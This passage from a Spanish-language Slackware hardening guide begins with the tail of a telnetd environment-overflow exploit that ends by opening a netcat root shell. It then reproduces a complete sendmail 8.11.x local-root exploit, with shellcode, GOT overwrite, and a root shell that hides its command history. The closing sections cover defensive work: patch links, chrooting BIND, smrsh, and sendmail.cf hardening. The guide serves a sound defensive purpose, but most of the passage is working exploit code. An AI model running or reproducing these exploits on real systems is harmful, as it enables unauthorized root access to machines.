int percent = 0;
char spin;
unsigned char w;
bzero (oldenv, sizeof (oldenv));
argv++;
dalen = strlen ("clarity.local");
while (argv[0])
{
if (!strcmp (argv[0], "--pause"))
dosleep = 1;

if (!strcmp (argv[0], "--size") && argv[1])
{
mipl = atoi (argv[1]);
argv++;
}

if (!strcmp (argv[0], "--name") && argv[1])
{
dalen = strlen (argv[1]);
argv++;
}
argv++;
}
fprintf (stderr, " o MiPl of %4d o NameLen of %2d\n", mipl, dalen);
if(dalen%3==0)
{
offsets=offset3;
}
else
{
ninbufoffset = mipl % 8192;
offsets[11] += 32 * (mipl - ninbufoffset) / 8192;
if (offsets[11] > 255)
{
fprintf (stderr, " ! MiPl too big.", mipl, dalen);
exit (1);
}
}
sock_setup ();
if (dosleep)
{
system ("sleep 1;ps aux|grep in.telnetd|grep -v grep");
sleep (8);
}

dalen += strlen ("\r\n[ : yes]\r\n");
fprintf (stderr, "o Sending IAC WILL NEW-ENVIRONMENT...\n");
fflush (stderr);
doo (5);
will (39);
fflush (dasock);
read_sock ();
fprintf (stderr, "o Setting up environment vars...\n");
fflush (stderr);
will (1);
push_clean ();
doenv ("USER", "zen-parse");
doenv ("TERM", "zen-parse");
will (39);
fflush (dasock);
fprintf (stderr, "o Doing overflows...\n");
fflush (stderr);
for (br = 0; (offsets[br] || offsets[br + 1]); br += 2)
{
fill (mipl + ENV + offsets[br], offsets[br + 1]);
fflush (dasock);
usleep (100000);
read_sock ();
}
fprintf (stderr, "o Overflows done...\n");
fflush (stderr);
push_clean ();

fprintf (stderr, "o Sending IACs to start login process...\n");
fflush (stderr);
wont (24);
wont (32);
wont (35);
fprintf (dasock, "%s", tosend);
will (1);
push_heap_attack ();
sleep (1);
fprintf (stderr, "o Attempting to lauch netcat to localhost rootshell\n");
execlp ("nc", "nc", "-v", "localhost", "7465", 0);
fprintf (stderr,
"o If the exploit worked, there should be an open port on 7465.\n");
fprintf (stderr, " It is a root shell. You should probably close it.\n");
fflush (stderr);
sleep (60);
exit (0);
}
/********************************************************************

Thanks to xphantom for the help with getting the some of the socket
stuff working properly. Erm. I didn't end up using that method, but
thanks anyway. ;]

This code is Copyright (c) 2001 zen-parse
Use and distribution is unlimited, provided the code is not modified.
If the code, including any of text is modified, that version may not
be redistrubuted.

********************************************************************/
/* ObPlug 4 My Band: gone platinum, Chapel of Stilled voices, from */
/********************************************************************
Remember to visit Chapel of Stilled Voices:
_ _ _ . .
|_ _|_ _|_ _ . / /. . _ _| _ _ . . / | _ |_ | |
| | | | |_|. / / |\/| |_| _|.|_ |_||\/| / |_ |_| _| \/
- - - - - - -|- - - - - - -|- - - - - - - - - - - - - - - - - -
| |
If there is anything below the next line someone is not following the
rules. --zen-parse
************************************END*****************************/

[--]

-- cut here --


3.6.- Vulnerabilidad en sendmail de Slackware
---------------------------------------------

Existe una vulnerabilidad en la funcion de debugging de sendmail de las
versiones 8.11.0 hasta 8.11.5 que permite obtener privilegios de root
siendo usuario local.

Slackware 8 viene con sendmail 8.11.4 y por lo tanto es vulnerable.
Estan disponibles los paquetes de sendmail 8.11.6 que corrige el fallo y
de procmail 3.21 para las versiones 8 y 7.1 de Slackware:

ftp.slackware.com/pub/slackware/slackware-8.0/patches/packages/sendmail.tgz
ftp.slackware.com/pub/slackware/slackware-8.0/patches/packages/smailcfg.tgz
ftp.slackware.com/pub/slackware/slackware-8.0/patches/packages/procmail.tgz

ftp.slackware.com/pub/slackware/slackware-7.1/patches/packages/sendmail.tgz
ftp.slackware.com/pub/slackware/slackware-7.1/patches/packages/smailcfg.tgz
ftp.slackware.com/pub/slackware/slackware-7.1/patches/packages/procmail.tgz

Exploit incluido:

--- cut here (sx.c) --

[++] c0de/sx.c

/*
sendmail 8.11.x exploit (i386-Linux) by sd@sf.cz (sd@ircnet)
ññññññññññññññññññññññññññññññññññññññññññññññññññññññññññññ

This code exploits well-known local-root bug in sendmail 8.11.x,
8.12.x may be vulnerable too, but I didn't test it.

It gives instant root shell with +s sendmail 8.11.x, x < 6

We're using objdump, gdb & grep in order to obtain VECT, so make sure
that they're on $PATH, works with 80% accuracy on stripped binaries
on several distros without changing offsets (rh7.0, rh7.1, suse7.2,
slackware 8.0...)

Greetz:

mlg & smoke : diz is mostly for .ro ppl ;) killall sl3
sorcerer : stop da fuckin' asking me how to sploit sm, diz crap
is for lamers like you ;))))
devik : sm 0wns ;)
to #linux.cz, #hack ....

.... and to alot of other ppl, where i can't remeber theyr handles ;)

args:
-d specify depth of analysis (default=32) [bigger = more time]
-o change offset (default = -32000) [between 1000..-64000]
-v specify victim (default /usr/sbin/sendmail) [+s sm binary]
-t specify temp directory (default /tmp/.sxp)
[temporary files, should be mounted as nosuid]

An example (redhat 7.0 CZ):
-------------------------------------------------------------------------------
[sd@pikatchu sxp]$ gcc sx.c -o sx
[sd@localhost sxp]$ ./sx

...-=[ Sendmail 8.11.x exploit, (c)oded by sd@sf.cz [sd@ircnet], 2001 ]=-...
ññññññññññññññññññññññññññññññññññññññññññññññññññññññññññññññññ

[*] Victim = /usr/sbin/sendmail
[*] Depth = 32
[*] Offset = -16384
[*] Temp = /tmp/.sxp
[*] ESP = 0xbfffe708
[+] Created /tmp/.sxp
[+] Step 1. setuid() got = 0x080aa028
[*] Step 2. Copying /usr/sbin/sendmail to /tmp/.sxp/sm...OK
[*] Step 3. Disassembling /tmp/.sxp/sm...OK, found 3 targets
[*] Step 4. Exploiting 3 targets:
[1] (33% of targets) GOT=0x080aa028, VECT=0x00000064, offset=-16384
[2] (66% of targets) GOT=0x080aa028, VECT=0x080c6260, offset=-16384

Voila babe, entering rootshell!
Enjoy!
uid=0(root) gid=0(root) groups=0(root)
[root@pikatchu /]# whoami
root
[root@pikatchu /]# exit
exit
Thanx for choosing sd's products ;)
[sd@pikatchu sxp]$
--------------------------------------------------------------------------------

Enjoy! And don't abuse it too much :)
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/wait.h>
#include <string.h>

#define SM "/usr/sbin/sendmail"
#define OBJDUMP "objdump"
#define GDB "gdb"
#define GREP "grep"

#define OURDIR "/tmp/.sxp"

/* an basic regexp to get interesting stuff from disassembled output
change it as you like if something doesn't work */

#define DLINE "%s -d %s 2> /dev/null | %s -B %d \"mov.*%%.l,(%%e..,%%e..,1)\" | %s \".mov .*0x80.*,%%e..\""
#define DLINEA OBJDUMP, vict, GREP, depth, GREP

#define BRUTE_DLINE "%s -d %s 2> /dev/null | %s \".mov .*0x80.*,%%e..\""
#define BRUTE_DLINEA OBJDUMP, vict, GREP


#define NOPLEN 32768

#define uchar unsigned char
#define NOP 0x90

/* 19 bytes ;), shell must be appended */
char shellcode[] =
"\xeb\x0c\x5b\x31\xc0\x50\x89\xe1"
"\x89\xe2\xb0\x0b\xcd\x80\xe8\xef"
"\xff\xff\xff";


char scode[512];
char dvict[] = SM;

struct target {
uint off;
uint brk;
uint vect;
};

unsigned int get_esp()
{
__asm__("movl %esp,%eax");
}

char ourdir[256] = OURDIR;

/* cleanup */
void giveup(int i)
{
char buf[256];
sprintf(buf, "/bin/rm -rf %s > /dev/null 2> /dev/null", ourdir);
system(buf);
if (i >= 0) exit(i);
}

/* main sploit, stolen mostly from alsou.c ;) */
void sploit(char *victim, uint got, uint vect, uint ret)
{
uchar egg[sizeof(scode) + NOPLEN + 5];
char s[512] = "-d";
char *argv[3];
char *envp[2];
uint first, last, i;

strcpy(egg, "EGG=");
memset(egg + 4, NOP, NOPLEN);
strcpy(egg + 4 + NOPLEN, scode);

last = first = -vect - (0xffffffff - got + 1);
while (ret) {
char tmp[256];
i = ret & 0xff;
sprintf(tmp, "%u-%u.%u-", first, last, i);
strcat(s, tmp);
last = ++first;
ret = ret >> 8;
}
s[strlen(s) - 1] = 0;
argv[0] = victim;
argv[1] = s;
argv[2] = NULL;
envp[0] = egg;
envp[1] = NULL;
execve(victim, argv, envp);
}

int use(char *s)
{
printf("%s [command] [options]\n"
"-h this help\n"
"-d specify depth of analysis (default=32)\n"
"-o change offset (default = -32000)\n"
"-v specify victim (default /usr/sbin/sendmail)\n"
"-t specify temp directory (default /tmp/.sxp)\n"
"-b enables bruteforce (WARNING: this may take about 20-30 minutes!)\n", s);
return 1;
}

/* exploited flag */
int exploited = 0;

/* child root-shell will send us SIGUSR if everything is ok */
void sigusr(int i)
{
exploited++;
giveup(-1);
}

int main(int argc, char *argv[])
{
char victim[256] = SM;
char vict[256];
char gscr[256];
char path[256];
char d[256];
struct stat st;
FILE *f;
char buf[256];
int got;

struct target t[1024];
uint off, ep, l;
int i,j;

int offset = -16384;
int esp;
int depth = 32;
int brute = 0;

/* rootshell (if argv[0] == NULL) */
if (!*argv) {
/* open stdin and stdout */
dup2(2, 0);
dup2(2, 1);
setuid(0); /* regain root privs */
setgid(0);
/* send signal to parent that exploit is done */
kill(getppid(), SIGUSR1);
/* l-a-m-e ;) */
printf("\nVoila babe, entering rootshell!\nEnjoy!\n"); fflush(stdout);
chdir("/");
system("/usr/bin/id");
setenv("BASH_HISTORY", "/dev/null", 1);
execl("/bin/bash", "-bash", NULL);
}

printf("\n...-=[ Sendmail 8.11.x exploit, (c)oded by sd@sf.cz [sd@ircnet], 2001 ]=-...\n"
" ññññññññññññññññññññññññññññññññññññññññññññññññññññññññññññññññ\n\n");

while ( ( i = getopt(argc, argv, "hd:o:v:t:b") ) != EOF) {
switch (i) {
case 'd':
if ((!optarg) || (sscanf(optarg, "%d", &depth) != 1))
return use(argv[0]);
break;
case 'o':
if ((!optarg) || (sscanf(optarg, "%d", &offset) != 1))
return use(argv[0]);
break;
case 'v':
if (!optarg) return use(argv[0]);
strcpy(victim, optarg);
break;
case 't':
if (!optarg) return use(argv[0]);
strcpy(ourdir, optarg);
break;
case 'b':
brute++;
break;
case 'h':
default:
return use(argv[0]);
}
}
if (brute) printf("[*] Using brute force, this may take some time\n");
/* create full path to rootshell, cause
sendmail will change it's cwd */
path[0] = 0;
if (argv[0][0] != '/') {
getcwd(path, 256);
}

/* construct shellcode */
sprintf(scode, "%s%s/%s", shellcode, path, argv[0]);

/* get stack frame */
esp = get_esp();
close(0);
signal(SIGUSR1, sigusr);

/* remove old stuff */
giveup(-1);

printf( "[*] Victim = %s\n"
"[*] Depth = %d\n"
"[*] Offset = %d\n"
"[*] Temp = %s\n"
"[*] ESP = 0x%08x\n",
victim,
depth,
offset,
ourdir,
esp);
stat(victim, &st);
if ((st.st_mode & S_ISUID) == 0) {
printf("[-] Bad: %s isn't suid ;(\n", victim);
}

if (access(victim, R_OK + X_OK + F_OK) < 0) {
printf("[-] Bad: We haven't access to %s !\n", victim);
}

if (mkdir(ourdir, 0777) < 0) {
perror("[-] Can't create our tempdir!\n");
giveup(1);
}
printf("[+] Created %s\n", ourdir);
sprintf(buf, "%s -R %s | grep setuid", OBJDUMP, victim);
f = popen(buf, "r");
if (fscanf(f, "%x", &got) != 1) {
pclose(f);
printf("[-] Cannot get setuid() GOT\n");
giveup(1);
}
/* get GOT */
pclose(f);
printf("[+] Step 1. setuid() got = 0x%08x\n", got);
sprintf(vict, "%s/sm", ourdir);
printf("[*] Step 2. Copying %s to %s...", victim, vict); fflush(stdout);
sprintf(buf, "/bin/cp -f %s %s", victim, vict);
system(buf);
if (access(vict, R_OK + X_OK + F_OK) < 0) {
perror("Failed");
giveup(1);
}
printf("OK\n");
/* disassemble & find targets*/
printf("[*] Step 3. Disassembling %s...", vict); fflush(stdout);
if (!brute) {
sprintf(buf, DLINE, DLINEA);
} else {
sprintf(buf, BRUTE_DLINE, BRUTE_DLINEA);
}
f = popen(buf, "r");
i = 0;
while (fgets(buf, 256, f)) {
int k, dontadd = 0;
if (sscanf(buf, "%x: %s %s %s %s %s %s 0x%x,%s\n",
&ep, d, d, d, d, d, d, &off, d) == 9) {
/* same value ? */
for (k=0; k < i; k++) {
if (t[k].off == off) dontadd++;
}
/* new value ? */
if (!dontadd) {
/* add it to table */
t[i].off = off;
t[i++].brk = ep;
}
}
}
pclose(f);
printf("OK, found %d targets\n", i);

/* gdb every target and look for theyr VECT */
printf("[*] Step 4. Exploiting %d targets:\n", i); fflush(stdout);
sprintf(gscr, "%s/gdb", ourdir);

off = 0;
for (j=0; j < i; j++) {
/* create gdb script */
f = fopen(gscr, "w+");
if (!f) {
printf("Cannot create gdb script\n");
giveup(1);
}
fprintf(f, "break *0x%x\nr -d1-1.1\nx/x 0x%x\n", t[j].brk, t[j].off);
fclose(f);
sprintf(buf, "%s -batch -x %s %s 2> /dev/null", GDB, gscr, vict);
f = popen(buf, "r");
if (!f) {
printf("Failed to spawn gdb!\n");
giveup(1);
}
/* scan gdb's output */
while (1) {
char buf[256];
char *p;
t[j].vect = 0;
p = fgets(buf, 256, f);
if (!p) break;
if (sscanf(p, "0x%x %s 0x%x", &ep, d, &l) == 3) {
t[j].vect = l;
off++;
break;
}
}
pclose(f);
if (t[j].vect) {
int pid;
printf("[%d] (%d%% of targets) GOT=0x%08x, VECT=0x%08x, offset=%d\n", j, j*100/i , got, t[j].vect, offset);
fflush(stdout);
pid = fork();
if (pid == 0) {
close(1);
sploit(victim, got, t[j].vect, esp + offset);
}
/* wait until sendmail finishes (expoit failed)
or until SIGUSR arrives */
wait(NULL);
/* exploited ?? */
if (exploited) {
wait(NULL); /* kill zombie */
printf("Thanx for choosing sd's products ;)\n");
exit(0);
}
}
}
printf("[-] All targets failed, probably not vulnerable ;(\n");
giveup(1);
}

/* That's all. */

[--]

--- cut here ---


4.- Montar BIND chrooted y setuid
=================================

La version 9 de BIND que viene con Slackware, permite la ejecucion de BIND
en un entorno chrooted, es decir "enjaulado" en un directorio. Si
apareciera algun fallo en el BIND por el cual se pudiera conseguir acceso
remoto a una maquina, restringiriamos el acceso solo al arbol de
directorios donde se esta ejecutando BIND. Ademas de esto tambien podemos
ejecutarlo setuid, para que en lugar de ejecutarse con permisos de root lo
haga como otro usuario con menos privilegios. Aqui veremos como montar
esta configuracion de forma sencilla en una Slackware 8.

Por supuesto, tenemos que tener instalado el paquete n1/bind.tgz. Los
pasos que seguiremos ssn los siguientes:

1.- Creamos la jaula
--------------------

Encerraremos el BIND dentro del directorio /var/named, creamos la
estructura de directorios necesaria y el dispositivo /dev/null, del cual
BIND hace uso:

root@s0:ñ# cd /var/named
root@s0:/var/named# mkdir -p bin dev etc lib var/run/named var/named/caching-example
root@s0:/var/named# cd caching-example/
root@s0:/var/named/caching-example# cp -R * /var/named/var/named/caching-example/
root@s0:/var/named/caching-example# cd ..
root@s0:/var/named# mknod dev/null c 1 3


2.- Buscamos que necesita BIND para funcionar
---------------------------------------------

Al estar linkado dinamicamente, el BIND de slackware depende de varias
librerias dinamicas, que se encuentran en otros paquetes, y que tendran
que ser accesibles para BIND dentro de la jaula. Ejecutando el siguiente
comando almacenaremos los paquetes de Slackware que hacen falta para que
funcione BIND dentro de la variable de entorno PAQUETES, que usaremos
posteriormente:

root@s0:/var/named# PAQUETES=`for f in `ldd /usr/sbin/named |cut -f 1 -d = |cut -f 3 -d / |cut -f 1,2 -d .`; do grep $f /var/log/packages/*; done |cut -f 5 -d / |cut -f 1 -d : |sort -u`

Si queremos ver de que paquetes depende podemos hacer un echo $PAQUETES.


3.-Instalamos los paquetes necesarios dentro de la jaula
--------------------------------------------------------

Necesitamos disponer de los paquetes de Slackware en algun directorio del
sistema para poder copiarlos dentro de la jaula, suponiendo que tengamos
montado el cd con la Slackware 8 en /cdrom, ejecutarmamos el siguiente
comando para obtener las rutas de los paquetes:

root@s0:/var/named# RUTAS=`for f in $PAQUETES; do find /cdrom -name $f.tgz ; done`

Si los tenemos en otro directorio (montados por NFS por ejemplo)
cambiaremos /cdrom por la ruta donde tengamos los paquetes. Una vez
tengamos localizadas las rutas, vamos a copiar los paquetes dentro de la
jaula:

root@s0:/var/named# for f in $RUTAS; do cp $f . ; done

Ahora descomprimimos los paquetes que hemos copiado:

root@s0:/var/named# for f in `ls *.tgz`; do explodepkg $f; done
root@s0:/var/named# rm *.tgz


4.- Adaptamos la jaula para que BIND pueda escribir como usuario
no privilegiado
-----------------------------------------------------------------

En lugar de ejecutar BIND con uid de root como se ejecuta por defecto,
haremos que se ejecute con uid de usuario daemon, para esto tendremos que
cambiar los permisos de algunos directorios en los que BIND necesita
escribir:

root@s0:/var/named# chown -R daemon:daemon var/named/
root@s0:/var/named# chown -R daemon:daemon var/run/named/

(NOTA: Estamos situados dentro de la jaula!)


5.- Ejecutamos BIND chrooted y setuid
-------------------------------------

Lanzamos BIND de la siguiente forma para que se ejecute encerrado dentro
de la jaula, y con uid de daemon:

root@s0:/var/named# /usr/sbin/named -u daemon -t /var/named/

Dentro de la jaula tendremos tambien muchos ficheros innecesarios,
pertenecientes a los otros paquetes que hemos instalado y que no estan
enlazados con BIND, como por ejemplo las paginas man o la documentacisn en
/usr/doc, los podemos eliminar para ahorrar espacio. Si queremos que el
BIND arranque chrooted cuando reiniciemos la maquina, tendremos que
cambiar el fichero /etc/rc.d/rc.inet2 y lanzar el BIND con los mismos
parametros anterirores.


5.- Sendmail
============


5.1- SMRSH: Restricted Shell for Sendmail
-----------------------------------------

Si vamos a usar sendmail en nuestra maquina es conveniente que hagamos uso
de smrsh. Con smrsh conseguimos limitar el numero de programas que podran
ser ejecutados a traves de sendmail usando la funcion "|program", y no
permite la ejecucion de comandos que contengan los caracteres ` < > ; $
( ) \r (retorno de carro), o \n (nueva linea) para prevenir contra ataques
del tipo "end run" a traves de nuestro sendmail.

Para configurar smrsh solo tendremos que añadir una nueva 'feature' al
fichero mc que utilicemos para generar nuestro sendmail.cf:

FEATURE(`smrsh')dnl

Una vez añadido esto al fichero mc, volvemos a generar el cf con m4 y ya
tenemos un sendmail que utiliza smrsh para ejecutar programas externos.

Ahora hace falta definir que programas son los que se podran utilizar a
traves de sendmail. Para ello debemos poner los comandos que queramos
dentro del directorio /usr/adm/sm.bin. Basta con hacer un link simbolico a
cada programa en cuestion.

Si por ejemplo queremos que se pueda usar el comando "vacation" o
"procmail" en combinacion con sendmail, haremos lo siguiente:

# ln -s /usr/bin/vacation /usr/adm/sm.bin/vacation
# ln -s /usr/bin/procmail /usr/adm/sm.bin/procmail

y asi con cada programa que deseemos incluir en el directorio
restringido.

Para mas informacion: man 8 smrsh.


5.2- Ajustes de configuracion
-----------------------------

Una vez generado el nuevo sendmail.cf es conveniente hacerle unas pequeñas
modificaciones para hacerlo un poco mas seguro. Paso a listarlas a
continuacion:

# maximum message size
< #O MaxMessageSize=1000000
> O MaxMessageSize=1000000

# checkpoint queue runs after every N successful deliveries
< #O CheckpointInterval=10
> O CheckpointInterval=10

# maximum hop count
< #O MaxHopCount=17
> O MaxHopCount=27

# SMTP daemon options
< O DaemonPortOptions=Name=MTA
< O DaemonPortOptions=Port=587, Name=MSA, M=E
> #O DaemonPortOptions=Name=MTA
> #O DaemonPortOptions=Port=587, Name=MSA, M=E

# privacy flags
< O PrivacyOptions=authwarnings
> #O PrivacyOptions=authwarnings noexpn novrfy
> O PrivacyOptions=goaway

# timeouts (many of these)
< #O Timeout.initial=5m
< #O Timeout.connect=5m
< #O Timeout.iconnect=5m
< #O Timeout.helo=5m
< #O Timeout.mail=10m
< #O Timeout.rcpt=1h
< #O Timeout.datainit=5m
< #O Timeout.datablock=1h
< #O Timeout.datafinal=1h
< #O Timeout.rset=5m
< #O Timeout.quit=2m
< #O Timeout.misc=2m
< #O Timeout.command=1h
< #O Timeout.ident=5s
< #O Timeout.fileopen=60s
< #O Timeout.control=2m
< #O Timeout.queuereturn.normal=5d
< #O Timeout.queuereturn.urgent=2d
< #O Timeout.queuereturn.non-urgent=7d
< #O Timeout.queuewarn.normal=4h
< #O Timeout.queuewarn.urgent=1h
< #O Timeout.queuewarn.non-urgent=12h
< #O Timeout.hoststatus=30m
< #O Timeout.resolver.retrans=5s
< #O Timeout.resolver.retrans.first=5s
< #O Timeout.resolver.retrans.normal=5s
< #O Timeout.resolver.retry=4
< #O Timeout.resolver.retry.first=4
< #O Timeout.resolver.retry.normal=4
> O Timeout.initial=5m
> O Timeout.connect=5m
> O Timeout.iconnect=5m
> O Timeout.helo=5m
> O Timeout.mail=10m
> O Timeout.rcpt=1h
> O Timeout.datainit=5m
> O Timeout.datablock=1h
> O Timeout.datafinal=1h
> O Timeout.rset=5m
> O Timeout.quit=2m
> O Timeout.misc=2m
> O Timeout.command=1h
> O Timeout.ident=5s
> O Timeout.fileopen=60s
> O Timeout.control=2m
> O Timeout.queuereturn.normal=5d
> O Timeout.queuereturn.urgent=2d
> O Timeout.queuereturn.non-urgent=7d
> O Timeout.queuewarn.normal=4h
> O Timeout.queuewarn.urgent=1h
> O Timeout.queuewarn.non-urgent=12h
> O Timeout.hoststatus=30m
> O Timeout.resolver.retrans=5s
> O Timeout.resolver.retrans.first=5s
> O Timeout.resolver.retrans.normal=5s
> O Timeout.resolver.retry=4
> O Timeout.resolver.retry.first=4
> O Timeout.resolver.retry.normal=4

# load average at which we just queue messages
< #O QueueLA=8
> O QueueLA=8

# load average at which we refuse connections
< #O RefuseLA=12
> O RefuseLA=12

# maximum number of children we allow at one time
< #O MaxDaemonChildren=12
> O MaxDaemonChildren=12

# maximum number of new connections per second
< #O ConnectionRateThrottle=0
> O ConnectionRateThrottle=3

# work recipient factor
< #O RecipientFactor=30000
> O RecipientFactor=30000

# how many jobs can you process in the queue?
< #O MaxQueueRunSize=10000
> O MaxQueueRunSize=10000

# SMTP initial login message (old $e macro)
< O SmtpGreetingMessage=$j Sendmail $v/$Z; $b
> O SmtpGreetingMessage=$j

# maximum number of recipients per SMTP envelope
< #O MaxRecipientsPerMessage=100
> O MaxRecipientsPerMessage=100

# Maximum depth of alias recursion
< #O MaxAliasRecursion=10
> O MaxAliasRecursion=10

# Format of headers #
< $.by $j ($v/$Z)$?r with $r$. id $i$?{tls_version}
> $.by $j with id $i$?{tls_version}


n-1.- Otros documentos
----------------------

Otros recursos y documentos utiles sobre securizacion de Slackware los
podeis encontrar en las siguientes direcciones:


Slackware System Hardening - by Jeffrey Denton
------------------------------------------------
http://www.c2i2.com/ñdentonj/system-hardening

Slackware 8.0 lockdown notes - by Hank Leininger
--------------------------------------------------
http://www.theaimsgroup.com/ñhlein/haqs/slack8_postinstall_hap

Security Tips
-------------
http://www.userlocal.com/securitytips.shtml

Slackware Administrators Security tool kit
------------------------------------------
http://www.sastk.org/


n.- Licencia
============

Se permite la distribucion de este documento siempre y cuando no se altere
el contenido del mismo bajo ningun concepto. Si deseas aportar alguna cosa
o hacer algun comentario ponte en contacto con el autor:

Pau Oliva Fora (aka pof) - <pau@eSlack.org>
http://pof.eSlack.org
Hardening Slackware v0.1 (20011215)


<EOF>

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT